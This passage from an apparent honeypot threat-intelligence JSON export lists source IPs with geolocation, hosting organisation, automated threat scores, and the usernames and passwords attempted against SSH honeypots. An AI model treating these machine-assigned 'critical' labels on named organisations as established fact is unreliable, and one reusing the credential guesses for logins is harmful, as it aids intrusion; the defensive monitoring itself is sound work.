        "first_seen_30d": "2026-05-11T13:31:45.207000+00:00",
        "last_seen_30d": "2026-05-29T03:42:11.800000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "38.46.217.98": {
      "attack_count": 12,
      "first_seen": "2026-05-03T19:29:44.942Z",
      "last_seen": "2026-05-05T00:54:05.420Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Draper",
      "asn": 26042,
      "as_org": "FiberState, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:29:44.942000+00:00",
        "last_seen_30d": "2026-05-05T00:55:07.492000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "51.161.192.220": {
      "attack_count": 12,
      "first_seen": "2026-05-05T02:14:13.752Z",
      "last_seen": "2026-05-08T06:39:08.988Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:14:13.752000+00:00",
        "last_seen_30d": "2026-05-08T06:40:15.480000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "134.209.82.148": {
      "attack_count": 10,
      "first_seen": "2026-05-27T02:14:22.402Z",
      "last_seen": "2026-05-27T02:16:28.249Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 65.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 166599,
        "days_active_30d": 1,
        "ports_targeted_30d": 64299,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-27T02:13:51+00:00",
        "last_seen_30d": "2026-05-27T02:29:02.800000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 141203,
        "Honeytrap": 25340,
        "Cowrie": 10,
        "Dionaea": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "118.196.51.94": {
      "attack_count": 9,
      "first_seen": "2026-05-30T19:36:48.296Z",
      "last_seen": "2026-05-30T19:49:04.937Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ben"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:36:48.296000+00:00",
        "last_seen_30d": "2026-05-30T19:59:11.954000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "119.99.167.136": {
      "attack_count": 8,
      "first_seen": "2026-05-20T15:44:48.493Z",
      "last_seen": "2026-05-20T15:54:08.518Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T15:44:48.493000+00:00",
        "last_seen_30d": "2026-05-20T15:58:28.111000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "122.97.137.216": {
      "attack_count": 8,
      "first_seen": "2026-05-16T15:19:44.753Z",
      "last_seen": "2026-05-16T15:21:02.213Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:19:44.753000+00:00",
        "last_seen_30d": "2026-05-16T15:22:03.879000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "181.192.115.61": {
      "attack_count": 8,
      "first_seen": "2026-05-23T06:37:56.317Z",
      "last_seen": "2026-05-23T06:46:08.227Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itapuranga",
      "asn": 267101,
      "as_org": "ACB Fibra",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:37:56.317000+00:00",
        "last_seen_30d": "2026-05-23T06:47:18.177000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "189.218.68.94": {
      "attack_count": 8,
      "first_seen": "2026-05-24T20:25:11.342Z",
      "last_seen": "2026-05-24T20:33:15.305Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Pesquer\u00eda",
      "asn": 265594,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:25:11.342000+00:00",
        "last_seen_30d": "2026-05-24T20:34:17.053000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "109.105.210.57": {
      "attack_count": 6,
      "first_seen": "2026-05-07T09:49:09.341Z",
      "last_seen": "2026-05-07T09:49:59.867Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 76.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 25,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T00:04:15+00:00",
        "last_seen_30d": "2026-05-27T01:51:54.174000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 42,
        "Dionaea": 10,
        "Cowrie": 6,
        "H0neytr4p": 4,
        "Honeyaml": 2
      }
    },
    "185.41.21.177": {
      "attack_count": 6,
      "first_seen": "2026-05-13T03:32:35.804Z",
      "last_seen": "2026-05-13T03:34:36.408Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Shakhtarske",
      "asn": 52045,
      "as_org": "PTRC-VIZIT",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:32:35.804000+00:00",
        "last_seen_30d": "2026-05-13T03:36:16.375000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "216.59.21.62": {
      "attack_count": 6,
      "first_seen": "2026-05-16T20:52:40.808Z",
      "last_seen": "2026-05-16T20:52:47.351Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piedmont",
      "asn": 15085,
      "as_org": "Immedion, LLC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:52:40.808000+00:00",
        "last_seen_30d": "2026-05-16T20:53:51.865000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "71.6.199.87": {
      "attack_count": 6,
      "first_seen": "2026-05-11T10:06:52.142Z",
      "last_seen": "2026-05-20T01:46:36.703Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:32:27+00:00",
        "last_seen_30d": "2026-05-28T09:49:56.817000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Redishoneypot": 12,
        "Cowrie": 6,
        "Dionaea": 4,
        "ElasticPot": 4,
        "Honeytrap": 3,
        "H0neytr4p": 2
      }
    },
    "88.157.1.16": {
      "attack_count": 6,
      "first_seen": "2026-05-14T16:11:53.944Z",
      "last_seen": "2026-05-30T19:49:23.984Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:12:59.753000+00:00",
        "last_seen_30d": "2026-05-30T19:50:27.450000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "180.76.234.73": {
      "attack_count": 5,
      "first_seen": "2026-05-08T19:13:14.555Z",
      "last_seen": "2026-05-08T19:13:17.423Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "qw"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:13:14.555000+00:00",
        "last_seen_30d": "2026-05-08T19:14:21.080000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "185.254.75.15": {
      "attack_count": 5,
      "first_seen": "2026-05-26T13:52:57.806Z",
      "last_seen": "2026-05-26T13:53:01.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "dsmdmadm"
      ],
      "passwords_attempted": [
        "2Pr0xyM33ting!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "D\u00fcsseldorf",
      "asn": 43357,
      "as_org": "Owl Limited",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T13:52:57.806000+00:00",
        "last_seen_30d": "2026-05-26T13:54:02.788000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "180.190.202.144": {
      "attack_count": 4,
      "first_seen": "2026-05-19T18:36:19.443Z",
      "last_seen": "2026-05-19T18:38:50.551Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:36:19.443000+00:00",
        "last_seen_30d": "2026-05-19T18:40:00.235000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "187.120.24.91": {
      "attack_count": 4,
      "first_seen": "2026-05-23T00:59:00.556Z",
      "last_seen": "2026-05-23T01:03:01.213Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Gon\u00e7alo",
      "asn": 266181,
      "as_org": "GOLDEN LINK",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:59:00.556000+00:00",
        "last_seen_30d": "2026-05-23T01:04:08.417000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.214": {
      "attack_count": 4,
      "first_seen": "2026-05-16T16:29:22.298Z",
      "last_seen": "2026-05-16T16:29:26.187Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 27,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:39:14.868000+00:00",
        "last_seen_30d": "2026-05-28T18:31:29.855000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 31,
        "ConPot": 18,
        "Dionaea": 6,
        "Mailoney": 5,
        "Cowrie": 4,
        "Sentrypeer": 1
      }
    },
    "20.64.106.47": {
      "attack_count": 4,
      "first_seen": "2026-05-16T22:21:10.333Z",
      "last_seen": "2026-05-16T22:21:20.828Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 44.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T11:57:49+00:00",
        "last_seen_30d": "2026-05-27T10:54:19.686000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "205.210.31.8": {
      "attack_count": 4,
      "first_seen": "2026-05-21T16:44:26.491Z",
      "last_seen": "2026-05-21T16:44:29.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 72.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T04:02:13+00:00",
        "last_seen_30d": "2026-05-27T17:51:27.175000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Ciscoasa": 2,
        "Sentrypeer": 1
      }
    },
    "54.87.12.131": {
      "attack_count": 4,
      "first_seen": "2026-05-24T01:00:52.508Z",
      "last_seen": "2026-05-24T01:00:59.832Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 45.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 18.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 22,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T00:54:26+00:00",
        "last_seen_30d": "2026-05-24T01:02:02.659000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Dionaea": 1
      }
    },
    "66.132.186.201": {
      "attack_count": 4,
      "first_seen": "2026-05-12T21:59:35.848Z",
      "last_seen": "2026-05-12T21:59:51.269Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T16:02:56+00:00",
        "last_seen_30d": "2026-05-31T17:07:29.862000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102,
        "Honeytrap": 50,
        "ElasticPot": 7,
        "Cowrie": 4,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "71.227.24.50": {
      "attack_count": 4,
      "first_seen": "2026-05-10T20:04:42.584Z",
      "last_seen": "2026-05-14T20:16:06.428Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Royal Oak",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:04:42.584000+00:00",
        "last_seen_30d": "2026-05-14T20:17:15.394000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "117.50.55.176": {
      "attack_count": 3,
      "first_seen": "2026-05-06T01:26:21.832Z",
      "last_seen": "2026-05-06T01:28:21.963Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:26:21.832000+00:00",
        "last_seen_30d": "2026-05-13T22:04:40.260000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3
      }
    },
    "192.241.154.87": {
      "attack_count": 3,
      "first_seen": "2026-05-28T13:21:48.563Z",
      "last_seen": "2026-05-28T13:21:48.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 21.7,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 26,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T05:17:36.632000+00:00",
        "last_seen_30d": "2026-05-28T13:22:53.801000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 3,
        "H0neytr4p": 2,
        "Honeytrap": 1
      }
    },
    "195.178.110.204": {
      "attack_count": 3,
      "first_seen": "2026-05-08T01:54:21.914Z",
      "last_seen": "2026-05-08T01:54:54.455Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 96.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 489,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T00:38:54.013000+00:00",
        "last_seen_30d": "2026-05-31T23:41:21.450000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 371,
        "Honeytrap": 87,
        "Miniprint": 16,
        "Adbhoney": 4,
        "Cowrie": 3,
        "Dicompot": 2,
        "Dionaea": 2,
        "Honeyaml": 2,
        "Tanner": 2
      }
    },
    "101.3.43.62": {
      "attack_count": 2,
      "first_seen": "2026-05-31T19:03:08.521Z",
      "last_seen": "2026-05-31T19:03:21.848Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
